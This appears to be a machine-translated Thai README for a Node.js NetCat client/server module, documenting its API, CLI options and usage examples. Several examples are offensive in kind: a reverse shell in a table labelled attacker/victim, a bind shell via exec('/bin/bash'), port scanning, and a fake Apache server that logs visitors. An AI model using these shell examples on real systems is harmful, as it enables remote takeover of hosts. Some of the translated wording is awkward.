โมดูลไคลเอนต์ NetCat และเซิร์ฟเวอร์ที่เขียนด้วย JavaScript บริสุทธิ์สำหรับ Node.js.
โมดูลที่ผ่านการทดสอบอย่างสมบูรณ์ซึ่งใช้คุณสมบัติพื้นฐานทั้งหมดของ NetCat หากต้องการใช้เป็นเครื่องมือแบบสแตนด์อโลนติดตั้งแพ็คเกจ NC
| Linux/Mac | หน้าต่าง |
|---|---|
.auth('pass') ) allow และ deny ที่อยู่ IP ระยะไกลที่เฉพาะเจาะจง $ npm install --save netcat
const NetcatServer = require ( 'netcat/server' )
const NetcatClient = require ( 'netcat/client' )
const nc = new NetcatServer ( )
const nc2 = new NetcatClient ( ) API ของโมดูลนี้มีแนวโน้มที่จะติดตาม Params CLI ของ NetCat ดั้งเดิมให้มากที่สุด
ตัวอย่างเช่น: nc -l -p 2389 เทียบเท่ากับ nc.port(2389).listen() ง่ายใช่มั้ย
| เซิร์ฟเวอร์ | ลูกค้า |
|---|---|
nc.port(2389).listen() | nc2.addr('127.0.0.1').port(2389).connect() |
| เซิร์ฟเวอร์ | ลูกค้า |
|---|---|
nc.port(2389).listen().pipe(outputStream) | inputStream.pipe(nc2.port(2389).connect().stream()) |
หรือ ViceVersa คุณสามารถเทียบเท่า nc -l -p 2389 < filename.txt และเมื่อมีคนอื่นเชื่อมต่อกับพอร์ตของคุณ 2389 ไฟล์จะถูกส่งถึงพวกเขาไม่ว่าพวกเขาจะต้องการหรือไม่:
| เซิร์ฟเวอร์ | ลูกค้า |
|---|---|
nc.port(2389).serve('filename.txt').listen() | nc2.port(2389).connect().pipe(outputStream) |
| เซิร์ฟเวอร์ | ลูกค้า |
|---|---|
nc.port(2389).k().listen() | inputStream.pipe(nc2.port(2389).connect().stream()) |
เซิร์ฟเวอร์จะถูกเก็บรักษาไว้และไม่ถูกปิดหลังจากการเชื่อมต่อครั้งแรก ( k() เป็นนามแฝงสำหรับ keepalive() )
| เซิร์ฟเวอร์ | ลูกค้า |
|---|---|
nc.port(2389).listen().serve(Buffer.from('Hello World')) | nc2.port(2389).connect().on('data', console.log) |
| เซิร์ฟเวอร์ | ลูกค้า |
|---|---|
nc.port(2389).listen().exec('/bin/bash') | process.stdin.pipe( nc2.addr('127.0.0.1').port(2389).connect().pipe(process.stdout).stream() ) |
เมธอด exec() ดำเนินการคำสั่งที่กำหนดและท่อรวม stdout และ stderr ของเขากับ socket ลูกค้า
| ผู้โจมตี | เหยื่อ |
|---|---|
nc.k().port(2389).listen().serve(process.stdin).pipe(process.stdout) | nc2.addr('127.0.0.1').port(2389) .retry(5000).connect().exec('/bin/sh') |
NetCat สามารถกำหนดค่าได้อย่างง่ายดายเป็นพร็อกซีเซิร์ฟเวอร์:
var nc = new NetcatServer ( )
var nc2 = new NetcatClient ( )
nc2 . addr ( 'google.com' ) . port ( 80 ) . connect ( )
nc . port ( 8080 ) . k ( ) . listen ( ) . proxy ( nc2 . stream ( ) ) ปริมาณการใช้งานทั้งหมดที่ไหลใน localhost:8080 จะถูกนำไปยัง google.com:80 ในทำนองเดียวกันคุณสามารถตั้งค่าการส่งต่อพอร์ตโดยใช้โฮสต์เดียวกัน
แกล้งทำเป็นเซิร์ฟเวอร์ Apache:
var apache = `HTTP/1.1 200 OK
Date: Sat, 27 May 2017 16:51:02 GMT
Server: Apache/2.4.7 (Ubuntu)
Cache-Control: public, max-age=0
Content-Type: text/html; charset=utf-8
Content-Length: 16894
Vary: Accept-Encoding
`
var nc = new NetcatServer ( )
var logFile = fs . createWriteStream ( 'log.txt' )
nc . port ( 80 ) . k ( ) . listen ( ) . serve ( Buffer . from ( apache ) ) . pipe ( logFile ) ไคลเอนต์ NetCat ยังมีฟังก์ชั่นการสแกนพอร์ตพื้นฐาน
var nc = new NetcatClient ( )
nc . addr ( '127.0.0.1' ) . scan ( '22-80' , function ( ports ) {
// ports: { '22': 'open', '23': 'closed' ... }
} ) เครื่องสแกนพอร์ตเป็นโปรโตคอล TCP เท่านั้น การสแกน UDP ไม่ได้มีประสิทธิภาพจริงๆ scan(...) ยอมรับอาร์เรย์หรือหมายเลขจำนวนเต็ม
var nc = new NetcatServer ( )
nc . addr ( '127.0.0.1' ) . port ( 8080 ) . filter ( function ( chunk , enc , cb ) {
// transform upper case
var out = chunk . toString ( ) . toUpperCase ( )
this . push ( Buffer . from ( out ) )
cb ( null )
} ) . pipe ( process . stdout ) . connect ( ) ทั้งเซิร์ฟเวอร์ NetCat และไคลเอนต์รองรับ UNIX Socket Conn ลองใช้อินสแตนซ์ไคลเอนต์ NetCat ของเราเพื่อเชื่อมต่อกับไฟล์ซ็อกเก็ต Docker Unix และดึงรายการรูปภาพของคอนเทนเนอร์ของเรา
nc2 . unixSocket ( '/var/run/docker.sock' ) . enc ( 'utf8' )
. on ( 'data' , function ( res ) {
console . log ( res )
} )
. connect ( )
. send ( 'GET /images/json HTTP/1.0rnrn' ) var nc = new NetcatServer ( )
nc . udp ( ) . port ( 2100 ) . listen ( ) . on ( 'data' , function ( rinfo , data ) {
console . log ( 'Got' , data . toString ( ) , 'from' , rinfo . address , rinfo . port )
nc . close ( )
} ) var nc2 = new NetcatClient ( )
nc2 . udp ( ) . port ( 2100 ) . wait ( 1000 ) . init ( ) . send ( 'hello' , '127.0.0.1' ) ส่ง hello Buffer ไปที่พอร์ต 2100 หลังจากนั้น 1000 มิลลิวินาทีปิดไคลเอนต์
port(int) หรือ p(int)NetCat สามารถเชื่อมโยงกับพอร์ตท้องถิ่นใด ๆ ภายใต้ข้อ จำกัด สิทธิพิเศษและพอร์ตที่ใช้งานอยู่แล้ว
address(host) หรือ addr(host)0.0.0.0 โดยค่าเริ่มต้น127.0.0.1 โดยค่าเริ่มต้น listen()ทำให้เซิร์ฟเวอร์ UDP/TCP ฟังบนพอร์ตที่ตั้งไว้ก่อนหน้านี้
unixSocket(path) - TCP เท่านั้นทางเลือกคุณสามารถจัดเตรียมเส้นทางไปยังไฟล์ SOCK Unix และฟัง/เชื่อมต่อกับมัน
connect() - TCP เท่านั้นฝั่งไคลเอ็นต์เท่านั้น ให้ไคลเอนต์เชื่อมต่อกับที่อยู่และพอร์ตที่ตั้งไว้ก่อนหน้านี้
retry(ms) - TCP เท่านั้น ฝั่งไคลเอ็นต์เท่านั้น การเชื่อมต่อลองลองทุก ms วินาทีทุกมิลลิวินาทีเมื่อการเชื่อมต่อหายไป
interval(ms) หรือ i(ms)ฝั่งไคลเอ็นต์เท่านั้น: ระบุช่วงเวลาการหน่วงเวลาสำหรับการส่งข้อมูล ในมิลลิวินาที
waitTime(ms) หรือ wait(ms)ตั้งค่าหมดเวลา
ms Milliseconds จากข้อมูลแรกและหากไม่ได้รับข้อมูลเพิ่มเติมจะปิดการเชื่อมต่อms Milliseconds จากข้อมูลแรกที่ส่งและหากไม่มีข้อมูลเพิ่มเติมที่จะส่งลูกค้าจะปิด stream()ส่งคืนการอ้างอิง duplexstream ลูกค้า
pipe(outStream)ท่อข้อมูลขาเข้าจากไคลเอนต์ไปจนถึงระดับสูงที่กำหนด
filter(transformFn) กรองข้อมูลที่เข้ามาด้วย function (chunk, enc, cb){...} ก่อนที่จะถูกส่งออก
NB : ข้อมูล .on('data', cb) ที่คุณได้รับจะไม่ถูกกรอง ตัวกรองใช้กับสตรีม piped .pipe(...) เท่านั้น
ปัญหาที่รู้จัก : through2 ตอนนี้ไม่เคารพการเข้ารหัส หากคุณตั้งค่าตัวกรองคุณจะได้รับบัฟเฟอร์และวิธี enc() จะไร้ประโยชน์
serve()วิธีการฝั่งเซิร์ฟเวอร์
วิธี serve ยอมรับสตริง (ระบุชื่อไฟล์ตรวจสอบให้แน่ใจว่าไฟล์มีอยู่) สตรีมที่อ่านได้หรือบัฟเฟอร์ เมื่อคุณผ่านสตรีมที่อ่านได้วิธีการ Keepalive อาจทำให้สตรีมถูกใช้ในการร้องขอครั้งแรกและไม่สามารถเสิร์ฟได้อีกต่อไป (สตรีมไม่ได้ถูกแคชในบัฟเฟอร์)
ยิ่งไปกว่านั้นเมื่อให้บริการไฟล์หรือบัฟเฟอร์ไปยังซ็อกเก็ตท่อจะปล่อยเหตุการณ์ end (EOF) ไปยังซ็อกเก็ต ปิดสตรีม
send(data [, cb|host])ฝั่งไคลเอ็นต์:
cb ถูกเรียกเมื่อส่งข้อมูลฝั่งเซิร์ฟเวอร์:
serve() แทนend(data) - TCP เท่านั้นวิธีการฝั่งไคลเอ็นต์ ส่งข้อมูลที่กำหนดและปิดการเชื่อมต่อ
close([cb]) ปิดการเชื่อมต่อ (หรือการเชื่อมต่อหากดำเนินการฝั่งเซิร์ฟเวอร์) และโทร cb เมื่อปิดซ็อกเก็ตแล้ว
enc() ตั้งค่าการเข้ารหัส สิ่งที่พบบ่อยที่สุดคือ: utf8 , ascii , base64 , hex , binary , hex
protocol(prot) ตั้งค่าโปรโตคอลที่กำหนดเอง การใช้วิธีนี้หมดกำลังใจ ใช้วิธีการ tcp() และ udp() แทน tcp เป็นค่าเริ่มต้น
keepalive() หรือ k() - TCP เท่านั้นวิธีการฝั่งเซิร์ฟเวอร์
เมื่อคุณตั้งค่า Keepalive เซิร์ฟเวอร์จะอยู่ต่อไปและอาจเป็นไปได้ที่จะเปิดไปยัง pipe(outStream) เปิดอยู่
โดยค่าเริ่มต้นในโหมด UDP การฟังจะยังมีชีวิตอยู่จนกว่าจะมี nc.close() อย่างชัดเจน
exec() - TCP เท่านั้น เมธอด exec() ดำเนินการคำสั่งที่กำหนดและท่อรวม stdout และ stderr ของเขากับ socket ลูกค้า มันเป็นทางเลือกยอมรับสตริงและอาร์เรย์ของ ARGS เป็นพารามิเตอร์ที่สองและตัวเลือกการวางไข่เป็นพารามิเตอร์ที่สาม หากพบท่อถ่าน | จากนั้นคำสั่งทั้งหมดจะถูกประมวลผลภายใต้ sh -c
ตัวอย่าง:
nc . p ( 2389 ) . exec ( 'base64' , [ '-d' ] ) . listen ( )
// OR
nc . p ( 2389 ) . exec ( 'base64 | grep hello' ) . listen ( ) getClients() - TCP เท่านั้นวิธีการฝั่งเซิร์ฟเวอร์ ส่งคืนวัตถุที่แสดงรายการการอ้างอิงซ็อกเก็ตไคลเอนต์ทั้งหมด
proxy(duplexStream) - TCP เท่านั้น วิธีการฝั่งเซิร์ฟเวอร์ วิธีการนี้ท่อข้อมูลที่เข้ามา/กำลังจะมาถึง Duplexstream ที่ให้ไว้ มันเหมือนทางลัดสำหรับทั้งการโทร: .serve(duplexStream) และ .pipe(duplexStream)
output(outStream) หรือ out(outStream) เขียนการถ่ายโอนข้อมูลหกเหลี่ยมของการเข้าชมหรือการจราจรที่กำลังจะเกิดขึ้นกับสตรีมที่เขียนได้ outStream
แถวแสดงถึงก้อนอย่างน้อย 16 ไบต์โดยค่าเริ่มต้น
ตัวละครตัวแรกอาจเป็น < หรือ > ตามลำดับ
scan(portsInterval, cb) - TCP เท่านั้นไคลเอนต์ NetCat ยังมีฟังก์ชั่นการสแกนพอร์ตพื้นฐาน
พารามิเตอร์เป็นเอกสารประกอบ พารามิเตอร์แรกระบุพอร์ต/S เพื่อสแกน มันอาจเป็นจำนวนเต็มเดียวช่วงเวลาสตริง (เช่น 22-80 ) หรืออาร์เรย์ของจำนวนเต็ม ( [22, 23, 1880] ) การโทรกลับกลับเป็นผลลัพธ์ที่เป็นวัตถุเช่น { '22': 'open', '23': 'closed' ... }
init() - UDP เท่านั้น UDP เทียบเท่าของ connect() สำหรับลูกค้า UDP
bind(<int>) - UDP เท่านั้น ให้ไคลเอนต์/เซิร์ฟเวอร์ UDP ฟังบนพอร์ตที่กำหนด มันจะถูกใช้เป็นพอร์ตที่กำลังจะมาถึงถ้า .port(<n>) ไม่ได้ถูกเรียก
broadcast(<dst>) หรือ b(<dst>) - UDP เท่านั้นตั้งค่าการออกอากาศสำหรับเซิร์ฟเวอร์ UDP (ในที่สุดคุณสามารถระบุที่อยู่ปลายทาง)
destination(<dst>) - UDP เท่านั้น ตั้งค่าที่อยู่ปลายทาง ( 127.0.0.1 เป็นค่าเริ่มต้น)
loopback() - UDP เท่านั้นเปิดใช้งาน Loopback ตัวอย่างเช่นเมื่อเซิร์ฟเวอร์ UDP ถูกเบี่ยงเบนไปยังพอร์ตและส่งข้อความไปยังพอร์ตนั้นมันจะได้รับ MSG กลับหากเปิดใช้งาน LoopBack
bind(int) - UDP เท่านั้น ผูกเซิร์ฟเวอร์/ไคลเอนต์ UDP เพื่อฟังในพอร์ตที่กำหนดและใช้พอร์ตที่ตั้งค่าพอร์ตด้วย port() สำหรับแพ็กเก็ตที่กำลังจะมาถึงเท่านั้น
โมดูล NetCat ขยายคลาส EventEmitter คุณจะสามารถจับเหตุการณ์ได้โดยตรงจากซ็อกเก็ต ตัวอย่างเช่นเหตุการณ์ data สำหรับเซิร์ฟเวอร์:
| เซิร์ฟเวอร์ | ลูกค้า |
|---|---|
nc.port(2389).listen().on('data', onData) | inputStream.pipe(nc2.port(2389).connect().stream()) |
function onData ( socket , chunk ) {
console . log ( socket . id , 'got' , chunk ) // Buffer <...>
socket . write ( 'hello client' ) // reply to the client
}.on('data', function(sock/rinfo, msg){})ปล่อยออกมาเมื่อเซิร์ฟเวอร์ได้รับข้อมูลจากลูกค้า
.on('ready', cb)ปล่อยออกมาเมื่อเซิร์ฟเวอร์ฟัง/ผูกกับพอร์ตสำเร็จ
.on('close', cb)ปล่อยออกมาเมื่อเซิร์ฟเวอร์ปิด
.on('clientClose', function(socket, hadError){}) - tcp เท่านั้น เรียกว่าเมื่อไคลเอนต์ตัดการเชื่อมต่อจากเซิร์ฟเวอร์ การโทรกลับยอมรับเป็นพารามิเตอร์ที่ 1 อินสแตนซ์ของ socket เพิ่งตัดการเชื่อมต่อและ Bool Val hadError
.on('connection', function(socket){}) - TCP เท่านั้นปล่อยออกมาเมื่อไคลเอนต์ใหม่เชื่อมต่อกับเซิร์ฟเวอร์
.on('end', function(socket){}) - TCP เท่านั้นปล่อยออกมาเมื่อลูกค้าสิ้นสุดการเชื่อมต่อ
.on('timeout', function(socket){}) - TCP เท่านั้นเหตุการณ์การหมดเวลาซ็อกเก็ต
.on('waitTimeout', cb) ยิงเมื่อเซิร์ฟเวอร์ยังคงไม่ได้ใช้งานสำหรับเวลา wait(ms) ที่ระบุ
.on('error', function(err){})ปล่อยออกมาจากข้อผิดพลาด
.on('data', function(msg){})ข้อมูลจากเซิร์ฟเวอร์
.on('close', cb)ปล่อยออกมาเมื่อลูกค้าปิด
.on('waitTimeout', cb) ถูกไล่ออกเมื่อลูกค้ายังคงไม่ได้ใช้งานสำหรับเวลา wait(ms) ที่ระบุ
.on('connect', cb) - TCP เท่านั้นปล่อยออกมาเมื่อไคลเอนต์สร้างการเชื่อมต่อกับเซิร์ฟเวอร์
.on('error', function(err){})ปล่อยออกมาจากข้อผิดพลาด
สำหรับการใช้งานแบบสแตนด์อโลนติดตั้งแพ็คเกจ NC CLI:
$ npm install -g nc
ตัวอย่าง:
$ # Listen for inbound
$ nc -l -p port [- options] [hostname] [port]
ตัวเลือกที่มีอยู่:
-c shell commands as '-e'; use /bin/sh to exec [dangerous!!]-e filename program to exec after connect [dangerous!!]-b allow broadcasts-i secs delay interval for lines sent, ports scanned (client-side)-h this cruft-k set keepalive option on socket-l listen mode, for inbound connects-n numeric-only IP addresses, no DNS-o file hex dump of traffic-p port local port number-r randomize local and remote ports-q secs quit after EOF on stdin and delay of secs-s addr local source address-u UDP mode-U Listen or connect to a UNIX domain socket-v verbose-w secs timeout for connects and final net reads-z zero-I/O mode [used for scanning] การดีบักตรงกับโหมด verbose คุณสามารถเปิดใช้งานได้ด้วย verbose: true param หรือ env var DEBUG=netcat:*
รันพวกเขาด้วย: npm test
ความคุ้มครอง:
.serve(input) .pipe() และ serve() exec() วิธีการ Rocco Musolino (@roccomuso)
มิกซ์